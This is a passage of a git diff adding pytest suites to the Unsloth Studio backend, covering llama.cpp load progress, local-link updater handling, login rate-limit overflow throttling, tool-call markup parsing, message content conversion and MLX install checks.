+        "__init__": lambda self, **kw: None,
+        "__enter__": lambda self: self,
+        "__exit__": lambda self, *a: None,
+    },
+)
+sys.modules.setdefault("httpx", _httpx_stub)
+
+from core.inference.llama_cpp import LlamaCppBackend  # noqa: E402
+
+
+def _backend(
+    gguf_path,
+    *,
+    healthy,
+    pid = 4321,
+):
+    # Bare instance: exercise load_progress() without the heavy real __init__.
+    be = object.__new__(LlamaCppBackend)
+    be._process = types.SimpleNamespace(pid = pid)
+    be._gguf_path = str(gguf_path)
+    be._healthy = healthy
+    return be
+
+
+def _gguf(tmp_path, size_bytes):
+    f = tmp_path / "model-Q4_K_M.gguf"
+    f.write_bytes(b"\0" * size_bytes)
+    return f
+
+
+def test_ready_reports_complete_despite_low_rss(tmp_path, monkeypatch):
+    # Healthy, but VmRSS has dropped to ~8% of the shard total after VRAM upload.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    be = _backend(_gguf(tmp_path, 10000), healthy = True)
+    p = be.load_progress()
+    assert p["phase"] == "ready"
+    assert p["fraction"] == 1.0  # not 0.08
+    assert p["bytes_loaded"] == p["bytes_total"] == 10000
+
+
+def test_mmap_phase_reports_raw_rss_fraction(tmp_path, monkeypatch):
+    # Still loading: the bar should track real residency, not jump to 1.0.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    be = _backend(_gguf(tmp_path, 10000), healthy = False)
+    p = be.load_progress()
+    assert p["phase"] == "mmap"
+    assert p["fraction"] == 0.08
+    assert p["bytes_loaded"] == 800
+    assert p["bytes_total"] == 10000
+
+
+def test_progress_fraction_is_monotonic(tmp_path, monkeypatch):
+    # RSS peaks during page-in, then drops after -ngl offload; the bar must hold
+    # its high-water mark instead of collapsing back to ~8% (#5740).
+    be = _backend(_gguf(tmp_path, 10000), healthy = False)
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 9000))
+    assert be.load_progress()["fraction"] == 0.9
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    p = be.load_progress()
+    assert p["fraction"] == 0.9
+    assert p["bytes_loaded"] == 9000
+
+
+def test_ready_without_shard_size_still_completes(tmp_path, monkeypatch):
+    # bytes_total unknown (file unstattable): fraction must still read complete.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    be = _backend(tmp_path / "missing.gguf", healthy = True)
+    p = be.load_progress()
+    assert p["phase"] == "ready"
+    assert p["fraction"] == 1.0
+    assert p["bytes_total"] == 0
+
+
+def test_none_when_no_process(tmp_path):
+    be = _backend(_gguf(tmp_path, 10000), healthy = True)
+    be._process = None
+    assert be.load_progress() is None
+
+
+def test_none_when_rss_unreadable(tmp_path, monkeypatch):
+    # /proc unavailable (macOS/Windows) or unreadable -> no progress payload.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: None))
+    be = _backend(_gguf(tmp_path, 10000), healthy = False)
+    assert be.load_progress() is None
+
+
+def test_read_rss_bytes_absent_pid_is_none():
+    # A pid with no readable /proc entry (or no /proc at all) yields None, never
+    # raises.
+    assert LlamaCppBackend._read_rss_bytes(2**31 - 1) is None
+
+
+def test_read_rss_bytes_valueless_line_is_none():
+    # A "VmRSS:" line with no value column must not raise (IndexError) -> None.
+    def fake_open(path, *a, **kw):
+        if str(path).startswith("/proc/"):
+            return io.StringIO("Name:\ttest\nVmRSS:\n")
+        return open(path, *a, **kw)
+
+    with patch("builtins.open", side_effect = fake_open):
+        assert LlamaCppBackend._read_rss_bytes(4321) is None
+
+
+@pytest.mark.skipif(not sys.platform.startswith("linux"), reason = "/proc is Linux-only")
+def test_read_rss_bytes_reads_self_on_linux():
+    rss = LlamaCppBackend._read_rss_bytes(__import__("os").getpid())
+    assert isinstance(rss, int) and rss > 0
diff --git a/studio/backend/tests/test_local_llama_cpp_link.py b/studio/backend/tests/test_local_llama_cpp_link.py
new file mode 100644
index 0000000000..c78c029d91
--- /dev/null
+++ b/studio/backend/tests/test_local_llama_cpp_link.py
@@ -0,0 +1,137 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Behavioral tests for the --with-llama-cpp-dir 'unmanaged local link' contract.
+
+When the canonical llama.cpp dir is a symlink (POSIX) / junction (Windows) to a
+user's own checkout, Studio must treat it as externally managed:
+  - the in-app updater must not offer or apply a prebuilt over the link
+  - orphan cleanup must not kill a llama-server the user launched from that tree
+
+These exercise real link behavior rather than grepping the scripts.
+"""
+
+import os
+import subprocess
+from pathlib import Path
+
+import pytest
+
+from utils import llama_cpp_update as u
+from core.inference.llama_cpp import LlamaCppBackend
+
+
+def _make_link(link: Path, target: Path) -> None:
+    """Create a directory junction (Windows) / symlink (POSIX); neither needs
+    elevation."""
+    target.mkdir(parents = True, exist_ok = True)
+    if os.name == "nt":
+        subprocess.run(
+            ["cmd", "/c", "mklink", "/J", str(link), str(target)],
+            check = True,
+            capture_output = True,
+            text = True,
+        )
+    else:
+        link.symlink_to(target, target_is_directory = True)
+
+
+def _server_subpath() -> Path:
+    return Path(
+        "build/bin/Release/llama-server.exe" if os.name == "nt" else "build/bin/llama-server"
+    )
+
+
+class _FakeProc:
+    def __init__(self, pid: int, exe: str) -> None:
+        self.info = {"pid": pid, "name": "llama-server", "exe": exe}
+        self.killed = False
+
+    def kill(self) -> None:
+        self.killed = True
+
+
+def test_is_external_link_detects_link_vs_plain_dir(tmp_path: Path) -> None:
+    plain = tmp_path / "plain"
+    plain.mkdir()
+    assert u._is_external_link(plain) is False
+
+    link = tmp_path / "link"
+    _make_link(link, tmp_path / "tgt")
+    assert u._is_external_link(link) is True
+
+
+def test_active_install_is_local_link(tmp_path: Path) -> None:
+    link = tmp_path / "llama.cpp"
+    _make_link(link, tmp_path / "tgt")
+    binary = str(link / _server_subpath())
+    assert u._active_install_is_local_link(binary) is True
+
+    # A plain (non-link) llama.cpp dir is Studio-managed, not a local link.
+    plain = tmp_path / "plain" / "llama.cpp"
+    plain.mkdir(parents = True)
+    assert u._active_install_is_local_link(str(plain / _server_subpath())) is False
+
+
+def test_get_update_status_reports_local_link(tmp_path: Path, monkeypatch) -> None:
+    link = tmp_path / "llama.cpp"
+    _make_link(link, tmp_path / "tgt")
+    monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath()))
+    st = u.get_update_status()
+    assert st["supported"] is False
+    assert st["update_available"] is False
+    assert st["local_link"] is True
+
+
+def test_start_update_refuses_local_link(tmp_path: Path, monkeypatch) -> None:
+    link = tmp_path / "llama.cpp"
+    _make_link(link, tmp_path / "tgt")
+    monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath()))
+    res = u.start_update()
+    assert res["started"] is False
+    assert res["reason"] == "local_link"
+
+
+def _run_orphan_scan(monkeypatch, studio_root: Path, fake: _FakeProc) -> int:
+    # psutil drives the cross-platform process scan; skip (rather than error) if a
+    # minimal test env lacks it. CI installs it so these tests actually run.
+    psutil = pytest.importorskip("psutil")
+
+    monkeypatch.setattr(
+        LlamaCppBackend,
+        "_resolved_studio_root_and_is_legacy",
+        staticmethod(lambda: (studio_root.resolve(), False)),
+    )
+    monkeypatch.setattr(LlamaCppBackend, "_reap_recorded_pid", staticmethod(lambda: 0))
+    monkeypatch.setattr(psutil, "process_iter", lambda attrs = None: iter([fake]))
+    return LlamaCppBackend._kill_orphaned_servers()
+
+
+def test_orphan_cleanup_spares_local_link_tree(tmp_path: Path, monkeypatch) -> None:
+    studio_root = tmp_path / "studio-home"
+    studio_root.mkdir()
+    external = tmp_path / "external"
+    (external / _server_subpath().parent).mkdir(parents = True)
+    (external / _server_subpath()).write_text("x")
+    _make_link(studio_root / "llama.cpp", external)
+
+    exe_under_link = str((external / _server_subpath()).resolve())
+    fake = _FakeProc(os.getpid() + 777, exe_under_link)
+    killed = _run_orphan_scan(monkeypatch, studio_root, fake)
+    assert killed == 0
+    assert fake.killed is False
+
+
+def test_orphan_cleanup_kills_under_real_root(tmp_path: Path, monkeypatch) -> None:
+    # Control: a real (non-link) managed root still gets its orphan reaped, so
+    # the spare-the-link test above is meaningful (not a no-op).
+    studio_root = tmp_path / "studio-home"
+    bin_dir = studio_root / "llama.cpp" / _server_subpath().parent
+    bin_dir.mkdir(parents = True)
+    exe = studio_root / "llama.cpp" / _server_subpath()
+    exe.write_text("x")
+
+    fake = _FakeProc(os.getpid() + 888, str(exe.resolve()))
+    killed = _run_orphan_scan(monkeypatch, studio_root, fake)
+    assert killed == 1
+    assert fake.killed is True
diff --git a/studio/backend/tests/test_login_rate_limit.py b/studio/backend/tests/test_login_rate_limit.py
index 14b10576da..6f9635e41e 100644
--- a/studio/backend/tests/test_login_rate_limit.py
+++ b/studio/backend/tests/test_login_rate_limit.py
@@ -29,9 +29,15 @@ def _reset_buckets():
 
     auth_routes._LOGIN_BUCKETS.clear()
     auth_routes._LOGIN_IP_BUCKETS.clear()
+    for _shard in auth_routes._LOGIN_IP_OVERFLOW:
+        _shard.clear()
+    auth_routes._LAST_IP_PRUNE = 0.0
     yield
     auth_routes._LOGIN_BUCKETS.clear()
     auth_routes._LOGIN_IP_BUCKETS.clear()
+    for _shard in auth_routes._LOGIN_IP_OVERFLOW:
+        _shard.clear()
+    auth_routes._LAST_IP_PRUNE = 0.0
 
 
 @pytest.fixture
@@ -215,6 +221,245 @@ class TestBucketKeyAndBlocking:
         # Hard cap respected; further keys don't allocate.
         assert len(auth_routes._LOGIN_BUCKETS) <= 10
 
+    def test_ip_bucket_cap_bounds_without_disabling_throttling(self, env_no_proxy, monkeypatch):
+        """The per-IP dict is bounded, but saturating it must NOT disable
+        throttling: a new IP that keeps failing after the cap is hit is still
+        blocked (now via the shared overflow counter)."""
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        # Saturate the per-IP dict with distinct source IPs.
+        for idx in range(50):
+            auth_routes._record_login_failure((f"198.51.100.{idx}", "admin"))
+        assert len(auth_routes._LOGIN_IP_BUCKETS) <= 10  # bounded
+
+        # A brand-new IP arriving after saturation is still throttled: it can't get
+        # its own bucket, so its failures land in the shared overflow counter.
+        victim = ("203.0.113.99", "admin")
+        for _ in range(5):
+            auth_routes._record_login_failure(victim)
+        assert auth_routes._login_blocked(victim) > 0
+
+    def test_saturating_spray_cannot_reset_a_hot_ip_bucket(self, env_no_proxy, monkeypatch):
+        """An IP flooding the dict must not evict (and reset) its own hot bucket.
+
+        With FIFO eviction the oldest-inserted bucket -- the attacker's own, now
+        blocked -- was popped once enough fresh IPs arrived, letting the attacker
+        retry as first-seen. The overflow counter must keep it throttled.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        # Neutralize account-bucket blocking so this isolates the per-IP path.
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+
+        attacker = ("203.0.113.7", "admin")
+        for _ in range(5):
+            auth_routes._record_login_failure(attacker)
+        assert auth_routes._login_blocked(attacker) > 0  # attacker is throttled
+
+        # Attacker sprays many distinct IPs to try to push its own bucket out.
+        for idx in range(100):
+            auth_routes._record_login_failure((f"198.51.100.{idx}", "admin"))
+
+        # Still throttled: its hot bucket survived rather than being evicted.
+        assert auth_routes._login_blocked(attacker) > 0
+
+    def test_overflow_is_sharded_so_a_hot_ip_does_not_block_unrelated_ips(
+        self, env_no_proxy, monkeypatch
+    ):
+        """A saturating spray must not globally deny login: a hot overflow shard
+        throttles only the IPs that hash to it, not every new unbucketed client.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        # Neutralize account-bucket blocking so this isolates the per-IP path.
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+
+        # Saturate the bucket dict so further new IPs fall through to overflow.
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+
+        # Drive one IP's real overflow shard hot.
+        attacker_ip = "198.51.100.7"
+        for _ in range(5):
+            auth_routes._record_login_failure((attacker_ip, "admin"))
+        assert auth_routes._login_blocked((attacker_ip, "admin")) > 0
+
+        # A new IP in a *different* shard must not be denied (a single global
+        # counter would block it; a sharded one preserves per-source isolation).
+        attacker_shard = auth_routes._overflow_shard(attacker_ip)
+        victim_ip = next(
+            f"203.0.113.{i}"
+            for i in range(256)
+            if auth_routes._overflow_shard(f"203.0.113.{i}") is not attacker_shard
+        )
+        assert auth_routes._login_blocked((victim_ip, "admin")) == 0
+
+    def test_overflow_throttle_survives_capacity_freeing(self, env_no_proxy, monkeypatch):
+        """A source throttled via overflow must stay throttled even if a bucket
+        frees up before the window expires; otherwise a fresh bucket resets it.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        # Neutralize account-bucket blocking so this isolates the per-IP path.
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+
+        # Saturate the dict, then drive a source's overflow shard hot.
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        attacker = ("198.51.100.7", "admin")
+        for _ in range(5):
+            auth_routes._record_login_failure(attacker)
+        assert auth_routes._login_blocked(attacker) > 0
+
+        # A successful login from another IP frees a bucket slot.
+        auth_routes._clear_login_bucket(("10.0.0.0", "admin"))
+        assert len(auth_routes._LOGIN_IP_BUCKETS) < auth_routes._LOGIN_MAX_BUCKETS
+
+        # Still throttled (overflow shard still hot), and a new failure that now
+        # gets a fresh per-IP bucket must not reset the throttle.
+        assert auth_routes._login_blocked(attacker) > 0
+        auth_routes._record_login_failure(attacker)
+        assert auth_routes._login_blocked(attacker) > 0
+
+    def test_overflow_shard_is_memory_bounded_under_cardinality_spray(
+        self, env_no_proxy, monkeypatch
+    ):
+        """A high-cardinality spray must not grow overflow memory without bound:
+        each shard tracks at most _LOGIN_IP_OVERFLOW_MAX distinct IPs.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_OVERFLOW_MAX", 8)
+
+        # Saturate the dict, then spray thousands of distinct one-off IPs.
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        for idx in range(5000):
+            auth_routes._record_login_failure((f"198.51.{idx // 256}.{idx % 256}", "admin"))
+
+        assert all(len(shard) <= 8 for shard in auth_routes._LOGIN_IP_OVERFLOW)
+
+    def test_overflow_eviction_does_not_inherit_count_onto_new_ip(self, env_no_proxy, monkeypatch):
+        """Evicting a hot entry to make room must not hand its failure count to the
+        new source; one attempt from an unrelated IP must not 429 it.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_OVERFLOW_MAX", 2)
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+        # Force every overflow IP into one shard so we can saturate it.
+        shard0 = auth_routes._LOGIN_IP_OVERFLOW[0]
+        monkeypatch.setattr(auth_routes, "_overflow_shard", lambda _ip: shard0)
+
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        # Fill the shard (cap 2) with two hot IPs at/over the threshold.
+        for _ in range(5):
+            auth_routes._record_login_failure(("198.51.100.1", "admin"))
+        for _ in range(5):
+            auth_routes._record_login_failure(("198.51.100.2", "admin"))
+        assert len(shard0) == 2
+
+        # A new IP evicts the lowest-count entry; it must start clean, so one
+        # failure leaves it below the threshold and unblocked.
+        new_ip = ("203.0.113.50", "admin")
+        auth_routes._record_login_failure(new_ip)
+        assert auth_routes._login_blocked(new_ip) == 0
+
+    def test_overflow_count_migrates_into_new_bucket(self, env_no_proxy, monkeypatch):
+        """Straddling the overflow -> bucket transition must not double the per-IP
+        limit: the overflow count carries into the freshly created bucket.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+
+        # Saturate, then push one IP to 4 overflow failures (one below threshold).
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        attacker = ("198.51.100.7", "admin")
+        for _ in range(4):
+            auth_routes._record_login_failure(attacker)
+        assert auth_routes._login_blocked(attacker) == 0  # 4 < 5
+
+        # Free a slot so the next failure lands in a fresh per-IP bucket.
+        auth_routes._clear_login_bucket(("10.0.0.0", "admin"))
+        # One more failure must throttle (4 carried + 1 = 5), not reset to 1.
+        auth_routes._record_login_failure(attacker)
+        assert auth_routes._login_blocked(attacker) > 0
+
+    def test_overflow_migration_is_bounded_not_one_entry_per_failure(
+        self, env_no_proxy, monkeypatch
+    ):
+        """A saturated IP can rack up many overflow failures; migrating them into a
+        fresh bucket must allocate at most the per-IP threshold worth of entries,
+        not one deque entry per recorded failure (which would let a single later
+        attempt allocate an arbitrarily large deque under the login lock).
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100000)
+
+        # Saturate the dict, then hammer one IP far past the threshold in overflow.
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        attacker_ip = "198.51.100.7"
+        attacker = (attacker_ip, "admin")
+        for _ in range(5000):
+            auth_routes._record_login_failure(attacker)
+        # The stored overflow count is clamped at the threshold, not 5000.
+        entry = auth_routes._overflow_shard(attacker_ip).get(attacker_ip)
+        assert entry is not None and entry[0] <= auth_routes._LOGIN_IP_MAX_FAILS
+
+        # Free a slot so the next failure migrates the overflow count into a bucket.
+        auth_routes._clear_login_bucket(("10.0.0.0", "admin"))
+        auth_routes._record_login_failure(attacker)
+        bucket = auth_routes._LOGIN_IP_BUCKETS[attacker_ip]
+        # Bounded by the threshold (+1 for the triggering failure), not ~5000.
+        assert len(bucket) <= auth_routes._LOGIN_IP_MAX_FAILS + 1
+        # Still throttled -- bounding the migration must not weaken the limit.
+        assert auth_routes._login_blocked(attacker) > 0
+
+    def test_successful_login_clears_overflow_throttle(self, env_no_proxy, monkeypatch):
+        """A successful login resets the IP's throttle, including overflow, so a
+        single later typo is not immediately blocked.
+        """
+        from routes import auth as auth_routes
+
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10)
+        monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5)
+        monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100)
+
+        # Saturate the dict, then push one IP into overflow until it is throttled.
+        for idx in range(10):
+            auth_routes._record_login_failure((f"10.0.0.{idx}", "admin"))
+        ip = ("198.51.100.7", "admin")
+        for _ in range(5):
+            auth_routes._record_login_failure(ip)
+        assert auth_routes._login_blocked(ip) > 0
+
+        # A successful login from that IP clears its overflow entries...
+        auth_routes._clear_login_bucket(ip)
+        assert auth_routes._login_blocked(ip) == 0
+        # ...and a single subsequent failure does not immediately re-block it.
+        auth_routes._record_login_failure(ip)
+        assert auth_routes._login_blocked(ip) == 0
+
 
 # ---------- /login 429 body ----------
 
diff --git a/studio/backend/tests/test_mcp_servers.py b/studio/backend/tests/test_mcp_servers.py
index 90b1ade03c..6d26d075cf 100644
--- a/studio/backend/tests/test_mcp_servers.py
+++ b/studio/backend/tests/test_mcp_servers.py
@@ -423,6 +423,46 @@ def test_tool_healing_strip_handles_hyphenated_function_names():
     assert out == "before  after"
 
 
+def test_tool_healing_strip_handles_gemma_native_tool_call():
+    from core.tool_healing import strip_tool_call_markup
+    out = strip_tool_call_markup(
+        'before <|tool_call>call:mcp__srv__list-issues{repo:"octocat/hello"}<tool_call|> after'
+    )
+    assert out == "before  after"
+
+
+def test_tool_healing_strip_handles_gemma_close_only_marker():
+    from core.tool_healing import strip_tool_call_markup
+    assert strip_tool_call_markup("before <tool_call|> after") == "before  after"
+    assert strip_tool_call_markup("before <tool_call|> after", final = True) == "before  after"
+
+
+def test_tool_healing_parser_handles_gemma_native_windows_path():
+    from core.tool_healing import parse_tool_calls_from_text
+    import json as _json
+
+    calls = parse_tool_calls_from_text(
+        r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}<tool_call|>'
+    )
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "ls"
+    assert _json.loads(calls[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"}
+
+
+def test_tool_healing_json_parser_preserves_literal_gemma_quote_token():
+    from core.tool_healing import parse_tool_calls_from_text
+    import json as _json
+
+    text = (
+        "<tool_call>"
+        + _json.dumps({"name": "python", "arguments": {"code": "print('<|\"|>')"}})
+        + "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+    assert len(calls) == 1
+    assert _json.loads(calls[0]["function"]["arguments"]) == {"code": "print('<|\"|>')"}
+
+
 def test_gguf_allow_list_blocks_unadvertised_tool(monkeypatch):
     """A tool call not in the per-request list must be refused by the GGUF
     agentic loop (mirroring the safetensors path)."""
@@ -547,10 +587,12 @@ def test_tool_xml_strip_handles_hyphenated_function_names():
     import re as _re
     from pathlib import Path
 
+    from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+
     src = (Path(__file__).resolve().parent.parent / "routes/inference.py").read_text()
     m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", src, _re.DOTALL)
     assert m, "could not extract _TOOL_XML_RE"
-    ns: dict = {"_re": _re}
+    ns: dict = {"_re": _re, "_DS_OPEN_SRC": _DS_OPEN_SRC}
     exec(f"_TOOL_XML_RE = _re.compile({m.group(1)})", ns)
     rx = ns["_TOOL_XML_RE"]
     stripped = rx.sub(
diff --git a/studio/backend/tests/test_message_content.py b/studio/backend/tests/test_message_content.py
new file mode 100644
index 0000000000..6da3682141
--- /dev/null
+++ b/studio/backend/tests/test_message_content.py
@@ -0,0 +1,100 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for `content_to_text`, the #4383 fix for list-form message content.
+
+Loaded by file path so the test skips importing ``core.inference`` (whose
+``__init__`` pulls in the orchestrator + llama_cpp / torch).
+"""
+
+import importlib.util
+from pathlib import Path
+
+
+_BACKEND_DIR = Path(__file__).resolve().parent.parent
+
+
+def _load_message_content():
+    path = _BACKEND_DIR / "core/inference/message_content.py"
+    spec = importlib.util.spec_from_file_location("message_content_under_test", path)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def test_string_is_returned_unchanged():
+    mc = _load_message_content()
+    assert mc.content_to_text("hello world") == "hello world"
+    assert mc.content_to_text("") == ""
+
+
+def test_none_becomes_empty_string():
+    mc = _load_message_content()
+    assert mc.content_to_text(None) == ""
+
+
+def test_single_text_part_list():
+    mc = _load_message_content()
+    content = [{"type": "text", "text": "hello"}]
+    assert mc.content_to_text(content) == "hello"
+
+
+def test_multimodal_list_drops_non_text_parts():
+    mc = _load_message_content()
+    content = [
+        {"type": "text", "text": "describe this"},
+        {"type": "image_url", "image_url": {"url": "data:image/png;base64,AAAA"}},
+    ]
+    assert mc.content_to_text(content) == "describe this"
+
+
+def test_multiple_text_parts_joined_with_newline():
+    mc = _load_message_content()
+    content = [
+        {"type": "text", "text": "first"},
+        {"type": "text", "text": "second"},
+    ]
+    assert mc.content_to_text(content) == "first\nsecond"
+
+
+def test_bare_string_items_in_list():
+    mc = _load_message_content()
+    assert mc.content_to_text(["a", "b"]) == "a\nb"
+
+
+def test_audio_and_image_only_list_is_empty():
+    mc = _load_message_content()
+    content = [
+        {"type": "image_url", "image_url": {"url": "x"}},
+        {"type": "input_audio", "input_audio": {"data": "y", "format": "wav"}},
+    ]
+    assert mc.content_to_text(content) == ""
+
+
+def test_part_without_type_treated_as_text():
+    mc = _load_message_content()
+    # A ``text`` field with no ``type`` is treated as text.
+    assert mc.content_to_text([{"text": "untyped"}]) == "untyped"
+
+
+def test_empty_text_parts_skipped():
+    mc = _load_message_content()
+    content = [
+        {"type": "text", "text": ""},
+        {"type": "text", "text": "kept"},
+    ]
+    assert mc.content_to_text(content) == "kept"
+
+
+def test_tuple_behaves_like_list():
+    mc = _load_message_content()
+    content = ({"type": "text", "text": "x"}, {"type": "text", "text": "y"})
+    assert mc.content_to_text(content) == "x\ny"
+
+
+def test_result_supports_string_ops():
+    mc = _load_message_content()
+    # Crux of #4383: result must be a plain str for caller .strip()/.replace().
+    out = mc.content_to_text([{"type": "text", "text": "  padded  "}])
+    assert out.strip() == "padded"
+    assert isinstance(out, str)
diff --git a/studio/backend/tests/test_mlx_inference_backend.py b/studio/backend/tests/test_mlx_inference_backend.py
index 9871965ce8..ac4088fb25 100644
--- a/studio/backend/tests/test_mlx_inference_backend.py
+++ b/studio/backend/tests/test_mlx_inference_backend.py
@@ -100,6 +100,32 @@ def test_mlx_inference_text_load_forwards_studio_settings(monkeypatch):
     ]
     assert backend._is_vlm is False
     assert isinstance(backend._tokenizer, _DummyTokenizer)
+    # Non-LoRA text model: no base_model on the record.
+    assert backend.models["fake/text"]["base_model"] is None
+
+
+def test_mlx_text_lora_record_keeps_base_model_for_native_template(monkeypatch):
+    # A LoRA adapter's own tokenizer often ships no chat template; the native tool-calling template
+    # lives on the base model.
+    _install_fake_mlx(monkeypatch)
+    calls = []
+    _install_fake_fast_mlx(monkeypatch, calls)
+
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    backend = MLXInferenceBackend()
+    config = SimpleNamespace(
+        identifier = "fake/text-adapter",
+        is_vision = False,
+        is_lora = True,
+        base_model = "fake/text-base",
+    )
+
+    assert backend.load_model(config, max_seq_length = 4096, hf_token = "hf-token")
+
+    record = backend.models["fake/text-adapter"]
+    assert record["is_lora"] is True
+    assert record["base_model"] == "fake/text-base"
 
 
 def test_mlx_inference_vlm_lora_uses_unsloth_loader_without_native_adapter_rewrite(
@@ -188,12 +214,12 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch):
     _install_fake_mlx(monkeypatch)
     from core.inference.mlx_inference import MLXInferenceBackend
 
-    captured = {}
+    # The text path renders once with tools, then the native-template fallback makes a second no-
+    # tools probe call (tools=None) to detect whether the template dropped the schema.
+    captured_calls = []
 
     def _fake_apply(tokenizer, messages, **kwargs):
-        captured["tokenizer"] = tokenizer
-        captured["messages"] = messages
-        captured["kwargs"] = kwargs
+        captured_calls.append({"tokenizer": tokenizer, "messages": messages, "kwargs": kwargs})
         return "<rendered prompt>"
 
     monkeypatch.setattr(
@@ -248,8 +274,15 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch):
         )
     )
     assert out == ["hi"]
-    # The toggled kwargs must reach the chat-template helper.
-    assert captured["kwargs"]["tools"] == [{"function": {"name": "web_search"}}]
-    assert captured["kwargs"]["enable_thinking"] is True
-    assert captured["kwargs"]["reasoning_effort"] == "medium"
-    assert captured["kwargs"]["preserve_thinking"] is True
+    # The toggled kwargs must reach the chat-template helper on the real render
+    # (one of the calls carries the tools; the fallback probe passes tools=None).
+    tool_renders = [
+        c
+        for c in captured_calls
+        if c["kwargs"].get("tools") == [{"function": {"name": "web_search"}}]
+    ]
+    assert tool_renders, captured_calls
+    render = tool_renders[0]
+    assert render["kwargs"]["enable_thinking"] is True
+    assert render["kwargs"]["reasoning_effort"] == "medium"
+    assert render["kwargs"]["preserve_thinking"] is True
diff --git a/studio/backend/tests/test_mlx_repair.py b/studio/backend/tests/test_mlx_repair.py
index 7e60c9c3b9..365cc46410 100644
--- a/studio/backend/tests/test_mlx_repair.py
+++ b/studio/backend/tests/test_mlx_repair.py
@@ -119,6 +119,68 @@ def test_repair_install_pins_transformers_and_cleans_up(monkeypatch):
     assert env.get("UV_OVERRIDE", "").endswith("overrides-darwin-arm64.txt")
 
 
+def test_install_requires_prebuilt_wheels(monkeypatch):
+    # A source distribution's PEP 517 build backend runs arbitrary code at install
+    # time, before the post-install stack check. The unattended self-heal must
+    # require pre-built wheels so a malicious resolver-selected sdist cannot execute
+    # during ordinary Studio startup. mlx/mlx-metal ship wheels only and
+    # mlx-lm/mlx-vlm publish py3-none-any wheels, so a healthy self-heal still works.
+    pytest.importorskip("transformers")
+    captured = {}
+
+    class _Result:
+        returncode = 0
+        stdout = ""
+
+    monkeypatch.setattr(mr, "_uv_executable", lambda: "/usr/bin/uv")
+    monkeypatch.setattr(
+        mr.subprocess, "run", lambda cmd, **k: captured.update(cmd = cmd) or _Result()
+    )
+    monkeypatch.setattr(mr, "mlx_stack_available", lambda: True)
+
